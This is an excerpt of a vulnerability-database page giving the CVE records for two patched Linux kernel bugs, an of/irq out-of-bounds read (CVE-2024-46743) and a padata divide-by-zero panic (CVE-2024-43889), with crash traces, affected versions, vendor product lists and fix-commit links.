__of_changeset_apply_notify+0x54/0xe4 of_overlay_fdt_apply+0xc04/0xd94 ... The buggy address belongs to the object at ffffff81beca5600 which belongs to the cache kmalloc-128 of size 128 The buggy address is located 8 bytes inside of 128-byte region [ffffff81beca5600, ffffff81beca5680) The buggy address belongs to the physical page: page:00000000230d3d03 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1beca4 head:00000000230d3d03 order:1 compound_mapcount:0 compound_pincount:0 flags: 0x8000000000010200(slab|head|zone=2) raw: 8000000000010200 0000000000000000 dead000000000122 ffffff810000c300 raw: 0000000000000000 0000000000200020 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffffff81beca5500: 04 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffffff81beca5580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc >ffffff81beca5600: 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ^ ffffff81beca5680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffffff81beca5700: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc ================================================================== OF: -> got it ! Prevent the out-of-bounds read by copying the device address into a buffer of sufficient size.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d2a79494d8a526294…
https://git.kernel.org/stable/c/defcaa426ba0bc89f…
https://git.kernel.org/stable/c/9d1e9f0876b03d74d…
https://git.kernel.org/stable/c/baaf26723beab3a04…
https://git.kernel.org/stable/c/8ff351ea12e918db1…
https://git.kernel.org/stable/c/7ead730af11ee7da1…
https://git.kernel.org/stable/c/bf68acd840b6a5bfd…
https://git.kernel.org/stable/c/b739dffa5d570b411…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < d2a79494d8a5262949736fb2c3ac44d20a51b0d8 (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < defcaa426ba0bc89ffdafb799d2e50b52f74ffc4 (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < 9d1e9f0876b03d74d44513a0ed3ed15ef8f2fed5 (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < baaf26723beab3a04da578d3008be3544f83758f (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < 8ff351ea12e918db1373b915c4c268815929cbe5 (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < 7ead730af11ee7da107f16fc77995613c58d292d (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < bf68acd840b6a5bfd3777e0d5aaa204db6b461a9 (git) Affected: cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08 , < b739dffa5d570b411d4bdf4bb9b8dfd6b7d72305 (git)
Linux	Linux	Affected: 2.6.18 Unaffected: 0 , < 2.6.18 (semver) Unaffected: 4.19.322 , ≤ 4.19.* (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46743",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:49:43.804091Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:49:58.918Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:17:32.674Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:42.256Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/of/irq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d2a79494d8a5262949736fb2c3ac44d20a51b0d8",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "defcaa426ba0bc89ffdafb799d2e50b52f74ffc4",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "9d1e9f0876b03d74d44513a0ed3ed15ef8f2fed5",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "baaf26723beab3a04da578d3008be3544f83758f",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "8ff351ea12e918db1373b915c4c268815929cbe5",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "7ead730af11ee7da107f16fc77995613c58d292d",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "bf68acd840b6a5bfd3777e0d5aaa204db6b461a9",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            },
            {
              "lessThan": "b739dffa5d570b411d4bdf4bb9b8dfd6b7d72305",
              "status": "affected",
              "version": "cc9fd71c62f542233c412b5fabc1bbe0c4d5ad08",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/of/irq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.18"
            },
            {
              "lessThan": "2.6.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.322",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.322",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nof/irq: Prevent device address out-of-bounds read in interrupt map walk\n\nWhen of_irq_parse_raw() is invoked with a device address smaller than\nthe interrupt parent node (from #address-cells property), KASAN detects\nthe following out-of-bounds read when populating the initial match table\n(dyndbg=\"func of_irq_parse_* +p\"):\n\n  OF: of_irq_parse_one: dev=/soc@0/picasso/watchdog, index=0\n  OF:  parent=/soc@0/pci@878000000000/gpio0@17,0, intsize=2\n  OF:  intspec=4\n  OF: of_irq_parse_raw: ipar=/soc@0/pci@878000000000/gpio0@17,0, size=2\n  OF:  -\u003e addrsize=3\n  ==================================================================\n  BUG: KASAN: slab-out-of-bounds in of_irq_parse_raw+0x2b8/0x8d0\n  Read of size 4 at addr ffffff81beca5608 by task bash/764\n\n  CPU: 1 PID: 764 Comm: bash Tainted: G           O       6.1.67-484c613561-nokia_sm_arm64 #1\n  Hardware name: Unknown Unknown Product/Unknown Product, BIOS 2023.01-12.24.03-dirty 01/01/2023\n  Call trace:\n   dump_backtrace+0xdc/0x130\n   show_stack+0x1c/0x30\n   dump_stack_lvl+0x6c/0x84\n   print_report+0x150/0x448\n   kasan_report+0x98/0x140\n   __asan_load4+0x78/0xa0\n   of_irq_parse_raw+0x2b8/0x8d0\n   of_irq_parse_one+0x24c/0x270\n   parse_interrupts+0xc0/0x120\n   of_fwnode_add_links+0x100/0x2d0\n   fw_devlink_parse_fwtree+0x64/0xc0\n   device_add+0xb38/0xc30\n   of_device_add+0x64/0x90\n   of_platform_device_create_pdata+0xd0/0x170\n   of_platform_bus_create+0x244/0x600\n   of_platform_notify+0x1b0/0x254\n   blocking_notifier_call_chain+0x9c/0xd0\n   __of_changeset_entry_notify+0x1b8/0x230\n   __of_changeset_apply_notify+0x54/0xe4\n   of_overlay_fdt_apply+0xc04/0xd94\n   ...\n\n  The buggy address belongs to the object at ffffff81beca5600\n   which belongs to the cache kmalloc-128 of size 128\n  The buggy address is located 8 bytes inside of\n   128-byte region [ffffff81beca5600, ffffff81beca5680)\n\n  The buggy address belongs to the physical page:\n  page:00000000230d3d03 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1beca4\n  head:00000000230d3d03 order:1 compound_mapcount:0 compound_pincount:0\n  flags: 0x8000000000010200(slab|head|zone=2)\n  raw: 8000000000010200 0000000000000000 dead000000000122 ffffff810000c300\n  raw: 0000000000000000 0000000000200020 00000001ffffffff 0000000000000000\n  page dumped because: kasan: bad access detected\n\n  Memory state around the buggy address:\n   ffffff81beca5500: 04 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n   ffffff81beca5580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n  \u003effffff81beca5600: 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n                        ^\n   ffffff81beca5680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n   ffffff81beca5700: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc\n  ==================================================================\n  OF:  -\u003e got it !\n\nPrevent the out-of-bounds read by copying the device address into a\nbuffer of sufficient size."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:35:32.745Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d2a79494d8a5262949736fb2c3ac44d20a51b0d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/defcaa426ba0bc89ffdafb799d2e50b52f74ffc4"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d1e9f0876b03d74d44513a0ed3ed15ef8f2fed5"
        },
        {
          "url": "https://git.kernel.org/stable/c/baaf26723beab3a04da578d3008be3544f83758f"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ff351ea12e918db1373b915c4c268815929cbe5"
        },
        {
          "url": "https://git.kernel.org/stable/c/7ead730af11ee7da107f16fc77995613c58d292d"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf68acd840b6a5bfd3777e0d5aaa204db6b461a9"
        },
        {
          "url": "https://git.kernel.org/stable/c/b739dffa5d570b411d4bdf4bb9b8dfd6b7d72305"
        }
      ],
      "title": "of/irq: Prevent device address out-of-bounds read in interrupt map walk",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46743",
    "datePublished": "2024-09-18T07:12:04.166Z",
    "dateReserved": "2024-09-11T15:12:18.264Z",
    "dateUpdated": "2026-05-12T11:57:42.256Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43889 (GCVE-0-2024-43889)

Vulnerability from cvelistv5 – Published: 2024-08-26 10:10 – Updated: 2026-05-12 11:57

Title

padata: Fix possible divide-by-0 panic in padata_mt_helper()

Summary

In the Linux kernel, the following vulnerability has been resolved: padata: Fix possible divide-by-0 panic in padata_mt_helper() We are hit with a not easily reproducible divide-by-0 panic in padata.c at bootup time. [ 10.017908] Oops: divide error: 0000 1 PREEMPT SMP NOPTI [ 10.017908] CPU: 26 PID: 2627 Comm: kworker/u1666:1 Not tainted 6.10.0-15.el10.x86_64 #1 [ 10.017908] Hardware name: Lenovo ThinkSystem SR950 [7X12CTO1WW]/[7X12CTO1WW], BIOS [PSE140J-2.30] 07/20/2021 [ 10.017908] Workqueue: events_unbound padata_mt_helper [ 10.017908] RIP: 0010:padata_mt_helper+0x39/0xb0 : [ 10.017963] Call Trace: [ 10.017968] <TASK> [ 10.018004] ? padata_mt_helper+0x39/0xb0 [ 10.018084] process_one_work+0x174/0x330 [ 10.018093] worker_thread+0x266/0x3a0 [ 10.018111] kthread+0xcf/0x100 [ 10.018124] ret_from_fork+0x31/0x50 [ 10.018138] ret_from_fork_asm+0x1a/0x30 [ 10.018147] </TASK> Looking at the padata_mt_helper() function, the only way a divide-by-0 panic can happen is when ps->chunk_size is 0. The way that chunk_size is initialized in padata_do_multithreaded(), chunk_size can be 0 when the min_chunk in the passed-in padata_mt_job structure is 0. Fix this divide-by-0 panic by making sure that chunk_size will be at least 1 no matter what the input parameters are.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/ab8b397d5997d8c37…
https://git.kernel.org/stable/c/8f5ffd2af7274853f…
https://git.kernel.org/stable/c/a29cfcb848c31f22b…
https://git.kernel.org/stable/c/924f788c906dccaca…
https://git.kernel.org/stable/c/da0ffe84fcc1627a7…
https://git.kernel.org/stable/c/6d45e1c948a8b7ed6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < ab8b397d5997d8c37610252528edc54bebf9f6d3 (git) Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < 8f5ffd2af7274853ff91d6cd62541191d9fbd10d (git) Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < a29cfcb848c31f22b4de6a531c3e1d68c9bfe09f (git) Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < 924f788c906dccaca30acab86c7124371e1d6f2c (git) Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < da0ffe84fcc1627a7dff82c80b823b94236af905 (git) Affected: 004ed42638f4428e70ead59d170f3d17ff761a0f , < 6d45e1c948a8b7ed6ceddb14319af69424db730c (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43889",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:29:28.630880Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:32:58.618Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:45.325Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:10.516Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ab8b397d5997d8c37610252528edc54bebf9f6d3",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            },
            {
              "lessThan": "8f5ffd2af7274853ff91d6cd62541191d9fbd10d",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            },
            {
              "lessThan": "a29cfcb848c31f22b4de6a531c3e1d68c9bfe09f",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            },
            {
              "lessThan": "924f788c906dccaca30acab86c7124371e1d6f2c",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            },
            {
              "lessThan": "da0ffe84fcc1627a7dff82c80b823b94236af905",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            },
            {
              "lessThan": "6d45e1c948a8b7ed6ceddb14319af69424db730c",
              "status": "affected",
              "version": "004ed42638f4428e70ead59d170f3d17ff761a0f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: Fix possible divide-by-0 panic in padata_mt_helper()\n\nWe are hit with a not easily reproducible divide-by-0 panic in padata.c at\nbootup time.\n\n  [   10.017908] Oops: divide error: 0000 1 PREEMPT SMP NOPTI\n  [   10.017908] CPU: 26 PID: 2627 Comm: kworker/u1666:1 Not tainted 6.10.0-15.el10.x86_64 #1\n  [   10.017908] Hardware name: Lenovo ThinkSystem SR950 [7X12CTO1WW]/[7X12CTO1WW], BIOS [PSE140J-2.30] 07/20/2021\n  [   10.017908] Workqueue: events_unbound padata_mt_helper\n  [   10.017908] RIP: 0010:padata_mt_helper+0x39/0xb0\n    :\n  [   10.017963] Call Trace:\n  [   10.017968]  \u003cTASK\u003e\n  [   10.018004]  ? padata_mt_helper+0x39/0xb0\n  [   10.018084]  process_one_work+0x174/0x330\n  [   10.018093]  worker_thread+0x266/0x3a0\n  [   10.018111]  kthread+0xcf/0x100\n  [   10.018124]  ret_from_fork+0x31/0x50\n  [   10.018138]  ret_from_fork_asm+0x1a/0x30\n  [   10.018147]  \u003c/TASK\u003e\n\nLooking at the padata_mt_helper() function, the only way a divide-by-0\npanic can happen is when ps-\u003echunk_size is 0.  The way that chunk_size is\ninitialized in padata_do_multithreaded(), chunk_size can be 0 when the\nmin_chunk in the passed-in padata_mt_job structure is 0.\n\nFix this divide-by-0 panic by making sure that chunk_size will be at least\n1 no matter what the input parameters are."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:46.630Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ab8b397d5997d8c37610252528edc54bebf9f6d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/8f5ffd2af7274853ff91d6cd62541191d9fbd10d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a29cfcb848c31f22b4de6a531c3e1d68c9bfe09f"
        },
        {
          "url": "https://git.kernel.org/stable/c/924f788c906dccaca30acab86c7124371e1d6f2c"
        },
        {
          "url": "https://git.kernel.org/stable/c/da0ffe84fcc1627a7dff82c80b823b94236af905"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d45e1c948a8b7ed6ceddb14319af69424db730c"
